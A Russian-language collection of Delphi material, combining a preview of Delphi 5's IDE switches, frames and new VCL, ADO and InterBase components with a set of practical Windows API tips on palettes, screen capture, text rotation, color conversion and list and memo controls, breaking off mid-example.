Для IDE Delphi можно задать поведение при старте при помощи параметров, передаваемых в командной строке. Вот эти параметры.
Параметр | Описание
Общие
? | Вывод подсказки о параметрах командной строки
hm | Включается монитор “кучи”. В заголовке окна IDE выводится информация о выделенной памяти (количество блоков и байтов).
ns | Отключение заставки при старте.
np | Запуск IDE без попытки загрузки или создания нового проекта. В этом режиме Design-time пакеты будут загружены только тогда, когда будет создан новый проект или открыт существующий.
Отладчик
dexename | Загружает указанный файл в режиме отладки. Все параметры, указанные после имени файла воспринимаются как параметры командной строки для запуска указанного исполняемого файла.
attach:%1;%2 | Используется для выполнения отладки уже запущенного приложения. Предназначено, в основном, для системы Just in Time debugging
td | Включает поведение IDE при отладке, сходное с Turbo Debugger. Используется вместе с параметром d.
sddirectories | Указывает отладчику, где искать исходные тексты отлаживаемой программы. Это эквивалент параметров устанавливаемых в Project|Options|Directories/Conditionals. Используется вместе с параметром d.
hhostname | Указывает имя компьютера при использовании удаленной отладки. Используется вместе с параметром d.
Редактор
filename | Загружает указанный файл (группа проектов, проект и т.п.)в редактор.
filename | Автоматическая компиляция проекта в режиме Build. Используется вместе с параметром filename. Проект или группа проектов загружается и компилируется при старте IDE. После этого происходит автоматический выход. Все сообщения компилятора (ошибки, предупреждения, подсказки) сохраняются в текстовом файле. Этот режим может быть использован для пакетной компиляции.
m | То же самое, что и b, но компиляция выполняется в режиме Make.
ooutputfile | Если этот параметр указан, то в этот файл будут выведены все сообщения компилятора, возникшие при компиляции проекта. Используется вместе с параметром b или m

Компилятор и язык программирования.

Никаких изменений в языке программирования не произошло. Компилятор имеет версию 13.0, и соответственно определена переменная компилятора VER130. Исходные тексты с данной версией не поставляются, поэтому здесь я ничего сказать не могу.

Библиотека визуальных компонентов.

Внешний вид

Существенных изменений в VCL (в новой версии Delphi библиотека имеет версию 5) не много. Самое главное из них - введение поддержки фреймов. Фреймы, как и формы являются контейнерами для других компонентов. Главное отличие фреймов от форм в том, что фреймы могут находиться в составе форм и других фреймов. Также фрейм может быть помещен на палитру компонентов для дальнейшего использования.

В режиме проектирования фрейм похож на форму, однако предком для фрейма является класс TFrame. Для каждого фрейма создается модуль и файл формы. Когда фрейм помещается на форму или в другой фрейм, то в разделе uses появляется модуль фрейма, а на форме отображается содержимое фрейма. При этом в разделе published появляется поле с типом, соответствующим типу фрейма. Любые свойства компонентов внутри фрейма могут быть изменены. Также любые изменения, внесенные в фрейм будут отображены там, куда фрейм включен.

Для приведенного на рисунке примера, код, генерируемый IDE выглядит следующим образом (модуль Unit2.pas - это тот модуль, в котором описан фрейм TFrame2 ):
uses
     Classes,...., Unit2;

type
     Tform1 = class(Tform)
       Frame21 : TFrame2;
     public
     end;
Введение использования фреймов - очень важное новшество в VCL, направленное на облегчение разработки больших проектов. Помимо повторного использования кода, фреймы предоставляют возможность разбиения сложных форм на части, что облегчает не только проектирование и отладку проекта, но и в том числе читабельность кода и т.п. (Мне сейчас очень сильно не хватает такой вещи как фреймы. У меня в одном проекте на форме около 300 компонентов (включая невизуальные), и это еще не предел, а разнести все по отдельным формам невозможно т.к. работать становится крайне неудобно).

Дальше я кратко, не вдаваясь в подробности, упомяну лишь некоторые изменения, из тех, которые произошли в VCL. Здесь я, в основном, процитирую справочную систему Delphi, раздел “Что нового”.
  • 1. Классы для создания приложений Панели управления (Control panel applets).
  • 2. published - свойство Constraints в компоненте TClientDataSet.
  • 3. Свойство ItemEnabled в компоненте TCheckListBox для индивидуального разрешения/запрещения элементов.
  • 4. Дополнительные свойства и методы в элементах управления Win32 (TToolbar, TListView, THeaderControl).
  • 5. Дополнительные обработчики для отрисовки в TTreeView, TListView и TToolBar.
  • 6. TDatabase позволяет выполнять SQL запросы без использования компонента TQuery. Для этого можно использовать метод TDatabase.Execute.
  • 7. Свойство AutoRefresh в наборах данных BDE. Если свойство установлено в true, то значения по умолчанию и значения автоинкрементных полей извлекаются из набора данных автоматически (без вызова Refresh).
  • 8. Свойства BiDIKeyboard и NonBiDiKeyboard в классе TApplication.
  • 9. Свойство AutoHotKeys. Компоненты меню и элементы меню могут автоматически удалять конфликтующие горячие клавиши (hotkeys), добавлять горячие клавиши к элементам меню, их не имеющим и т.п.
  • 10. Свойство AutoSnap в классе Tsplitter для расширенного управления поведением компонента.
  • 11. Свойства HintFont и MenuFont в классе TScreen.
  • 12. Новые возможности в компонентах меню: свойство AutoLineReduction (для удаления лишних сепараторов из меню), поиск элементов меню (метод TMenuItem.Find), функции для создания разделителей в меню (InsertNewLineAfter, InsertNewLineBefore, NewBottomLine, NewTopLine).
  • 13. Новый вариант вызова контекстного меню для компонентов. Для вызова собственного контекстного меню можно использовать обработчик OnContextPopup.
  • 14. Свойство Highlighted в компоненте TTabSheet позволяет выделять до нескольких страниц в этом компоненте.
  • 15. Новые контейнерные классы: TStack, TQueue, TObjectList, TObjectStack, TObjectQueue,
  • 16. Будут поставляться исходные тексты компонентов Decision Cube.
Помимо поддержки фреймов, и вышеперечисленных изменений, библиотека VCL включает некоторое количество новых компонентов. В частности включены компоненты для работы с данными без использования BDE - Interbase Express (для работы с IB Database) и компоненты для работы с ActiveX Data Objects (ADO). Также в VCL теперь присутствуют специальные компоненты для разработки Web - приложений (здесь используются технологии XML, Midas и Java Script).
Компонент | Описание
TapplicationEvents | Компонент для обработки событий объекта Application.
TwebBrowser | Компонент - оболочка для Internet Explorer ActiveX Control
TWebConnection | Предназначен для использования в Internet -приложениях
Работа с ActiveX Data Objects (ADO)
Компонент | Описание
TADOConnection | Предоставляет соединение с хранилищем данных ADO
TADODataSet | Набор данных из хранилища данных ADO
TADOQuery | Запрос к источнику данных в ADO
TADOStoredProc | Хранимая процедура в базе данных ADO
TADOTable | Работает с таблицами базы данных через ADO
Все перечисленные ниже компоненты относятся к пакету Interbase Express.
Компонент | Описание
TIBDataSource | версия TDataSet для работы с InterBase
TIBTable | таблица базы данных
TIBQuery | выполнение SQL запросов к базе данных
TIBStoredProc | вызов хранимых процедур
TIBDatabase | Управление соединением с БД InterBase.
TIBTransaction | предоставляет контроль над транзакциями
TIBUpdateSQL | Обновление данных при работе с CachedUpdates
TIBDataSet | Набор данных, полученных
TIBDatabaseInfo | Возвращает информацию о базе данных
TIBSQL | Выполнение SQL запросов (не подключается к визуальным компонентам для отображения данных)
TIBSQLMonitor | Позволяет отслеживать запросы, передаваемые на сервер
TIBEvents | Позволяет приложению реагировать на события, происходящие на сервере.

Это все, что установлено из этого пакета в палитре компонентов. НО! Порывшись в документации и по внутренностям пакетов, я нашел еще несколько компонентов. В документации к ним сказано, что они предназначены для работы с Interbase 6 (он существует сейчас только в виде бета-версии). Итак, вот эти компоненты.

Компонент | Описание
TIBBackupService | Позволяет создавать резервные копии баз данных.
TIBConfigService | Настройка параметров базы данных
TIBInstall | Предназначен для инсталляции компонентов Interbase (???)
TIBInstall | Предназначен для инсталляции компонентов Interbase (???)
TIBLicensingService | Конфигурирование параметров лицензирования
TIBLogService | Создание Log-файлов
TIBRestoreService | Восстановление базы данных из резервной копии
TIBSecurityService | Позволяет управлять доступом пользователей к серверу InterBase
TIBServerProperties | Предоставляет информацию о сервере баз данных
TIBStatisticalService | Позволяет просматривать статистику баз данных
TIBUnInstall | Предназначен для деинсталляции компонентов Interbase (???)
TIBValidationService | расширенная работа с транзакциями

Немного отсебятины.

По поводу среды разработки. Стало намного удобнее. Пока есть немного глюков, но повторяюсь - это в бета версии. Надеюсь, что их уже не будет, когда выйдет финальная версия продукта.

По поводу компонентов для Delphi 5. Практически все компоненты будут работать без всякого изменения кода. У многих разработчиков уже появились версии для Delphi 5. Так что никаких проблем не будет. Сам я тоже свои библиотеки потихоньку тестирую...

По поводу ADO. Появление в составе Delphi компонентов для работы с данными без использования BDE - это очень хорошо. К тому же подобные средства сторонних разработчиков существуют и были доступны и раньше. Но вот что непонятно - некоторые предрекают скорый конец BDE (сам видел, как предрекают). Это они зря! Можно понять отказ от BDE, когда идет работа с данными только какого-либо сервера - работа с сервером напрямую зачастую гораздо эффективнее. Не совсем ясно другое: наблюдались случаи, когда бросали BDE и переезжали под ADO. Ну, есть в BDE глюки. А где их нет? В ADO?! В ODBC?! Не верю!

Ну вот, в общем - то оно и все. Краткий обзор новых возможностей Delphi закончен. Если о чем забыл - не обессудьте. Продукт будет хороший. Будем ждать его появления!


Графика

Маленькие хитрости с большой пользой

Графика
  • Работа с палитрой
  • Заполнить Canvas рисунком с рабочего стола
  • Список графических файлов с их изображениями
  • Как из Delphi рисовать в любой части экрана или в чужом окне
  • Написание текста под углом
  • Преобразование цвета RGB у HLS (яркость,насыщенность,оттенок)
  • Число цветов у данного компьютера
  • Копирование экрана
  • Нарисовать "неактивный"(disable) текст
  • Как менять разрешение экрана по ходу выполнения программы
  • Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?

  • Система (Регистрация программ в меню "Пуск", как проинсталлировать свои шрифты, вставить какую-нибудь программу внутрь EXE файла, инсталляторы, хранитель экрана, включение/выключение клавиатуры, мыши и монитора...)
  • Реестр (Добавление элементов в контекстное меню "Создать", новые звуковые события, деинсталяция, работа с реестром, INI-файлы...)
  • Прочее (Перехват клавиатуры от других программ, создание отчета в MS Word, заставка для программы, как создать свою кнопку в заголовке формы, сводка функций модуля Math...)

От авторов ...

Данный файл содержит обобщенную и апробированную авторами информацию по решению некоторых задач, возникающих при программировании на Delphi. Мы не претендуем на авторство, вся эта информация собрана из различных источников, но все примеры и советы, приведенные здесь были предварительно проверены под разными версиями Delphi, поэтому особое внимание следует обратить на примечания относительно версии, для которой это разработано или проверено.

Зайцев О.В.
Владимиров А.М.

Как работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:

procedure TMain.BitBtnClick(Sender: TObject);
var
  Palette : HPalette;
  PaletteSize : Integer;
  LogSize: Integer;
  LogPalette: PLogPalette;
  Red : Byte;
begin
  Palette := Image.Picture.Bitmap.ReleasePalette;
  // здесь можно использовать просто Image.Picture.Bitmap.Palette, но  я не
  // знаю, удаляются ли ненужные палитры автоматически

  if Palette=0 then exit; //Палитра отсутствует
  PaletteSize := 0;
  if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit;
  // Количество элементов в палитре = paletteSize
  if PaletteSize = 0 then Exit; // палитра пустая
  // определение размера палитры
  LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
  GetMem(LogPalette, LogSize);
  try
    // заполнение полей логической палитры
    with LogPalette^ do begin
      palVersion := $0300;    palNumEntries := PaletteSize;
      GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
      // делаете что нужно с палитрой, например:
      Red := palPalEntry[PaletteSize-1].peRed;
      Edit1.Text := 'Красная составляющего последнего элемента  палитры ='+IntToStr(Red);
      palPalEntry[PaletteSize-1].peRed := 0;
      //.......................................
    end;
    // завершение работы
    Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
  finally
    FreeMem(LogPalette, LogSize);
    // я должен позаботиться сам об удалении Released Palette
    DeleteObject(Palette);
  end;
end;

{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
  и меняет его палитру при нажатии кнопки }
unit bmpformu;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
  TBmpForm = class(TForm)
    Button1: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    Bitmap: TBitmap;
    procedure ScrambleBitmap;
    procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;

var
  BmpForm: TBmpForm;

implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('bor6.bmp');
end;

procedure TBmpForm.FormDestroy(Sender: TObject);
begin
  Bitmap.Free;
end;

// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
  m.Result := LRESULT(False);
end;

procedure TBmpForm.FormPaint(Sender: TObject);
var x, y: Integer;
begin
  y := 0;
  while y < Height do begin
    x := 0;
    while x < Width do begin
      Canvas.Draw(x, y, Bitmap);
      x := x + Bitmap.Width;
    end;
    y := y + Bitmap.Height;
  end;
end;

procedure TBmpForm.Button1Click(Sender: TObject);
begin
  ScrambleBitmap; Invalidate;
end;

// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
  pal: PLogPalette;
  hpal: HPALETTE;
  i: Integer;
begin
  pal := nil;
  try
    GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
    pal.palVersion := $300;
    pal.palNumEntries := 256;
    for i := 0 to 255 do
    begin
      pal.palPalEntry[i].peRed := Random(255);
      pal.palPalEntry[i].peGreen := Random(255);
      pal.palPalEntry[i].peBlue := Random(255);
    end;
    hpal := CreatePalette(pal^);
    if hpal <> 0 then
      Bitmap.Palette := hpal;
  finally
    FreeMem(pal);
  end;
end;

end.

Наверх

Заполняет Canvas рисунком с рабочего стола, учитывая координаты.

Function PaintDesktop(HDC) : boolean;
Например: PaintDesktop(form1.Canvas.Handle);

Наверх

Как вставить растровое изображение в компонент ListBox?

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.
Пример:
Рисуются изображения размером 32*16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!
Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.

{ Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}
procedure TForm1.bLoadClick(Sender: TObject);
VAR S : String;
begin
  ListBox1.Clear; {чистим список}
  S := '*.bmp'#0; {задаем шаблон}
  ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}
end;
          ............

{Отобразить изображения и имена файлов в ListBox}
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
           Rect: TRect; State: DrawState);
VAR
  Bitmap : TBitmap;
  Offset : Integer;
  BMPRect: TRect;
begin
  WITH (Control AS TListBox).Canvas DO BEGIN
    FillRect(Rect);
    Bitmap := TBitmap.Create;
    Bitmap.LoadFromFile(ListBox1.Items[Index]);
    Offset := 0;
    IF Bitmap <> NIL THEN BEGIN
      BMPRect := Bounds(Rect.Left+2, Rect.Top+2,
                        (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);
      {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}
      BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),
                Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);
      Offset := (Rect.Bottom-Rect.Top+1)*2;
    END;
    TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[Index]);
    Bitmap.Free;
   END;
end;
Данный пример работает медленно, но оптимизация, для ускорения, вызвала бы трудность в понимании общего принципа его работы.

Наверх

Можно ли из Delphi рисовать в любой части экрана или в чужом окне?

Для этого надо воспользоваться функциями API. Получить контекст чужого окна, либо всего экрана:
function GetDC(Wnd: HWnd): HDC;
где Wnd - указатель на нужное окно, или 0 для получения контекста всего экрана.
И далее, пользуясь функциями API, нарисовать все что надо.
Пример:

PROCEDURE DrawOnScreen;
VAR ScreenDC: hDC;
BEGIN
  ScreenDC := GetDC(0); {получить контекст экрана}
  Ellipse(ScreenDC, 0, 0, 200, 200); {нарисовать}
  ReleaseDC(0,ScreenDC); {освободить контекст}
END;
Не забывайте после своих манипуляций посылать пострадавшим (или всем) окнам сообщение о необходимости перерисовки, для восстановления их первоначального вида.

Наверх

Написание текста под углом

{ Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах }
{ Шрифт должен быть TrueType ! }
procedure CanvasSetTextAngle(c: TCanvas; d: single);
var   LogRec: TLOGFONT;     { Информация о шрифте }
begin
 {Читаем текущюю инф. о шрифте }
 GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
 { Изменяем угол }
 LogRec.lfEscapement := round(d*10);
 { Устанавливаем новые параметры }
 c.Font.Handle := CreateFontIndirect(LogRec);
end;

Наверх

Преобразование цвета RGBуHLS

{ Максимальные значения }
Const
 HLSMAX = 240;
 RGBMAX = 255;
 UNDEFINED = (HLSMAX*2) div 3;
Var
 H, L, S  : integer; { H-оттенок, L-яркость, S-насыщенность }
 R, G, B  : integer; { цвета }

procedure RGBtoHLS;
Var
 cMax,cMin  : integer;
 Rdelta,Gdelta,Bdelta : single;
Begin
   cMax := max( max(R,G), B);
   cMin := min( min(R,G), B);
   L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );

   if (cMax = cMin) then begin
      S := 0; H := UNDEFINED;
   end else begin
      if (L <= (HLSMAX/2)) then
         S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )
      else
         S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) )
            / (2*RGBMAX-cMax-cMin) );
      Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      if (R = cMax) then H := round(Bdelta - Gdelta)
      else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)
      else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );
      if (H < 0) then H:=H + HLSMAX;
      if (H > HLSMAX) then H:= H - HLSMAX;
   end;
   if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;
   if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;
end;

procedure HLStoRGB;
Var
 Magic1,Magic2 : single;

  function HueToRGB(n1,n2,hue : single) : single;
  begin
     if (hue < 0) then hue := hue+HLSMAX;
     if (hue > HLSMAX) then hue:=hue -HLSMAX;
     if (hue < (HLSMAX/6)) then
        result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )
     else
     if (hue < (HLSMAX/2)) then result:=n2 else
     if (hue < ((HLSMAX*2)/3)) then
        result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))
     else result:= ( n1 );
  end;

begin
   if (S = 0) then begin
      B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;
   end else begin
      if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX
      else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;
      Magic1 := 2*L-Magic2;
      R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
      G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );
      B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
   end;
   if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;
   if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;
   if B<0 then B:=0; if B>RGBMAX then B:=RGBMAX;
end;

Наверх

Число цветов (цветовая палитра) у данного компьютера

Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 - 256 цветов, 4 - 16 цветов ...

function GetDisplayColors : integer;
var tHDC  : hdc;
begin
 tHDC:=GetDC(0);
 result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14);
 ReleaseDC(0, tHDC);
end;

Наверх

Копирование экрана

unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;

 { Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
 { Копирование всего экрана }
function CaptureScreen : TBitmap;
 { Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
 { Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;

{===============================================================}
implementation
function GetSystemPalette : HPalette;
var
 PaletteSize  : integer;
 LogSize      : integer;
 LogPalette   : PLogPalette;
 DC           : HDC;
 Focus        : HWND;
begin
 result:=0;
 Focus:=GetFocus;
 DC:=GetDC(Focus);
 try
   PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
   LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
   GetMem(LogPalette, LogSize);
   try
     with LogPalette^ do
     begin
       palVersion:=$0300;
       palNumEntries:=PaletteSize;
       GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
     end;
     result:=CreatePalette(LogPalette^);
   finally
     FreeMem(LogPalette, LogSize);
   end;
 finally
   ReleaseDC(Focus, DC);
 end;
end;

function CaptureScreenRect(ARect : TRect) : TBitmap;
var
 ScreenDC : HDC;
begin
 Result:=TBitmap.Create;
 with result, ARect do begin
  Width:=Right-Left;
  Height:=Bottom-Top;
  ScreenDC:=GetDC(0);
  try
    BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY );
  finally
    ReleaseDC(0, ScreenDC);
  end;
  Palette:=GetSystemPalette;
 end;
end;

function CaptureScreen : TBitmap;
begin
 with Screen do
  Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;

function CaptureClientImage(Control : TControl) : TBitmap;
begin
 with Control, Control.ClientOrigin do
  result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;

function CaptureControlImage(Control : TControl) : TBitmap;
begin
 with Control do
  if Parent=Nil then
    result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
  else
   with Parent.ClientToScreen(Point(Left, Top)) do
    result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.

Наверх

Draw disable text

{************************ Draw Disabled Text **************
 ***** This function draws text in "disabled" style.  *****
 ***** i.e. the text is grayed .                      *****
 **********************************************************}
function DrawDisabledText (Canvas : tCanvas; Str: PChar; Count: Integer;
                           var Rect: TRect;  Format: Word): Integer;
begin
  SetBkMode(Canvas.Handle, TRANSPARENT);

  OffsetRect(Rect, 1, 1);
  Canvas.Font.color:= ClbtnHighlight;
  DrawText (Canvas.Handle, Str, Count, Rect,Format);

  Canvas.Font.Color:= ClbtnShadow;
  OffsetRect(Rect, -1, -1);
  DrawText (Canvas.Handle, Str, Count, Rect, Format);
end;

Наверх

Как менять разрешение экрана по ходу выполнения программы

function SetFullscreenMode:Boolean;
var DeviceMode : TDevMode;
begin
 with DeviceMode do begin
  dmSize:=SizeOf(DeviceMode);
  dmBitsPerPel:=16;
  dmPelsWidth:=640;
  dmPelsHeight:=480;
  dmFields:=DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
  result:=False;
  if ChangeDisplaySettings(DeviceMode,CDS_TEST or CDS_FULLSCREEN) <> DISP_CHANGE_SUCCESSFUL
   then Exit;
  Result:=ChangeDisplaySettings(DeviceMode,CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL;
 end;
end;

procedure RestoreDefaultMode;
var T : TDevMode absolute 0;
begin
 ChangeDisplaySettings(T,CDS_FULLSCREEN);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 if setFullScreenMode then begin
  sleep(7000);
  RestoreDefaultMode;
 end;
end;

Наверх

Как поместить картинку из базы данных, например MsSQL, в компонент TIMAGE ?

1) Предполагается, что поле BLOB (например, Pict)
2) в запросе Query.SQL пишется что-то вроде
'select Pict from sometable where somefield=somevalue'
3) запрос открывается
4) делается "присваивание":
Image1.Picture.Assing(TBlobField(Query.FieldByName('Pict'))
или, если известно, что эта картинка - Bitmap, то можно
Image1.Picture.Bitmap.Assing(TBlobField(Query.FieldByName('Pict'))

А можно воспользоваться компонентом TDBImage.

Наверх


Маленькие хитрости с большой пользой

Вопросы - ответы - советы
  • Графика (Написание текста под углом, преобразование цвета, как менять разрешение экрана по ходу выполнения программы...)
  • Система (Регистрация программ в меню "Пуск", как проинсталлировать свои шрифты, вставить какую-нибудь программу внутрь EXE файла, инсталляторы, хранитель экрана, включение/выключение клавиатуры, мыши и монитора...)
  • Реестр (Добавление элементов в контекстное меню "Создать", новые звуковые события, деинсталяция, работа с реестром, INI-файлы...)
  • Прочее (Перехват клавиатуры от других программ, создание отчета в MS Word, заставка для программы, как создать свою кнопку в заголовке формы, сводка функций модуля Math...)


Прочее

Маленькие хитрости с большой пользой

Прочее

  • Как получить горизонтальную прокрутку (scrollbar) в ListBox?
  • Поиск строки в ListBox
  • Как вставить несколько строк в середину StringGrid или после определенной строки?
  • Пример получения позиции курсора из компоненты TMemo.
  • Функция Undo в TMemo
  • Как прокрутить текст в Tmemo или в TRichEdit
  • Как определить работает ли уже данное приложение или это первая его копия?
  • Пример вывода сообщения одной командой и ввода строки тоже одной командой.
  • Перетаскивание формы за ее поле.
  • Обработка событий от клавиатуры (перехват клавиатуры от других программ !)
  • Как сделать так, что при нажатии на Enter происходил переход к следующему элементу формы
  • Вставка и удаление компонент в форму в design-time
  • Создание отчета в MS Word
  • Работа с MS Word через OLE
  • Перетаскивание файла drag-drop
  • Привлечение внимания к окну
  • Заставка для программы (splash form)
  • Прозрачная форма !
  • Как получить короткий путь файла если имеется длинный ("c:\Program Files" ==> "c:\progra~1")
  • Как создать свою кнопку в заголовке формы (на Caption Bar)
  • Преобразование текста OEM у Ansi
  • Состояние кнопки insert (Insert/Overwrite)
  • Сводка функций модуля Math
  • Внутри конструктора Create компонента создаю другой компонент, но Delphi помещает запись о втором компоненте в dfm-файл!
  • Как вставить иконку (или bitmap) в TRichEdit, причем так, чтобы пользователь мог ее удалить нажатием клавиши Del (как это сделано в Microsoft Word)?

Глюки

  • TImage
  • QReport
  • Графика (Написание текста под углом, преобразование цвета, как менять разрешение экрана по ходу выполнения программы...)
  • Система (Регистрация программ в меню "Пуск", как проинсталлировать свои шрифты, вставить какую-нибудь программу внутрь EXE файла, инсталляторы, хранитель экрана, включение/выключение клавиатуры, мыши и монитора...)
  • Реестр (Добавление элементов в контекстное меню "Создать", новые звуковые события, деинсталяция, работа с реестром, INI-файлы...)

Как отличить режим дизайна от режима запущенного приложения:
if not (csDesigning in ComponentState) then {запущено приложениее}

От авторов ...
Данный файл содержит обобщенную и апробированную авторами информацию по решению некоторых задач, возникающих при программировании на Delphi. Мы не претендуем на авторство, вся эта информация собрана из различных источников, но все примеры и советы, приведенные здесь были предварительно проверены под разными версиями Delphi, поэтому особое внимание следует обратить на примечания относительно версии, для которой это разработано или проверено.

Зайцев О.В.
Владимиров А.М.

Как получить горизонтальную прокрутку (scrollbar) в ListBox?

Так же как в случае с TMemo, здесь можно использовать сообщения. Например, сообщение может быть отослано в момент создания формы:

procedure TForm1.FormCreate(Sender: TObject);
begin
  ListBox1.Perform(LB_SETHORIZONTALEXTENT, 1000, Longint(0));
end;

Второй параметр в вызове - ширина прокрутки в точках.

Наверх

Поиск строки в ListBox

Есть функция API Windows, что заставляет искать строку в ListBox с указанной позиции.
Например, поиск строки, что начинается на '1.' От текущей позиции курсора в ListBox. Т.о., нажимая на кнопку Button1, будут перебраны все строки начинающиеся на '1.'

procedure TForm1.Button1Click(Sender: TObject);
var S  : string;
begin
 S:='1.';
 with ListBox1 do
    ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));
end;

Более подробную информацию о работе команды LB_SELECTSTRING можно узнать из Help-а Win32.

Наверх

Пример получения позиции курсора из компоненты TMemo.

procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word;  Shift: TShiftState);
begin
 Memo1Click(Self);
end;

procedure TForm1.Memo1Click(Sender: TObject);
VAR
  LineNum : LongInt;
  CharNum : LongInt;
begin
  LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);
  CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0);
  Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Memo1Click(Self);
end;

Наверх

Функция Undo в TMemo

В компоненте TMemo предусмотрена функция отмены последней правки (Undo). Ее можно вызвать следующим образом:
Memo1.Perform(EM_UNDO,0,0);
Узнать о том, возможна ли отмена (т.е. есть ли что отменять) можно следующим образом:
UndoEnabled:=(Memo1.Perform(EM_CAUNDO,0,0)<>0);

Наверх

Как прокрутить текст в Tmemo или в TRichEdit

Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить Memo, чтобы было видно последние строки ?

Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);

Наверх

Как определить работает ли уже данное приложение или это первая его копия?

Для Delphi 1. Каждый экземпляр программы имеет ссылку на свою предыдущую копию - hPrevInst: hWnd. Ее можно проверить перед созданием приложения и при необходимости отреагировать соответствующим образом. Если запущена только одна копия, то эта ссылка равна нулю.
Пример:

procedure TForm1.FormCreate(Sender: TObject);
begin
  {Проверяем есть ли указатель на предыдущую копию приложения}
  IF hPrevInst <> 0 THEN BEGIN
    {Если есть, то выдаем сообщение и выходим}
    MessageDlg('Программа уже запущена!', mtError, [mbOk], 0);
